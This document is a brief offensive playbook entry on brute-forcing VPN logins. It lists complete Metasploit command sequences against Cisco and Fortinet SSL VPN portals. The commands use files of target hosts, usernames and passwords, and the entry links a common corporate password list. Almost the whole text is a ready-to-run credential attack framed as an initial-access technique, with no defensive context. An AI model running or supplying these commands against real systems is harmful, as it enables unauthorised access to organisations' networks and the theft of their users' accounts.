VPN brute forcing

See Initial access TTPs for mass scanning ports.

CISCO

sudo systemctl start postgresql
msfdb init
msfconsole
use auxiliary/scanner/http/cisco_ssl_vpn
set RHOSTS file:/home/targets_443.txt
set RPORT 443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run

FORTI SSL VPN

sudo systemctl start postgresql
msfdb init
msfconsole
use auxiliary/scanner/http/fortinet_ssl_vpn
set RHOSTS file:/home/targets_10443.txt
set RPORT 10443
set USER_FILE /home/users.txt
set PASS_FILE /home/pass.txt
set threads 10
run

pass.txt: https://github.com/danielmiessler/SecLists/blob/master/Passwords/common_corporate_passwords.lst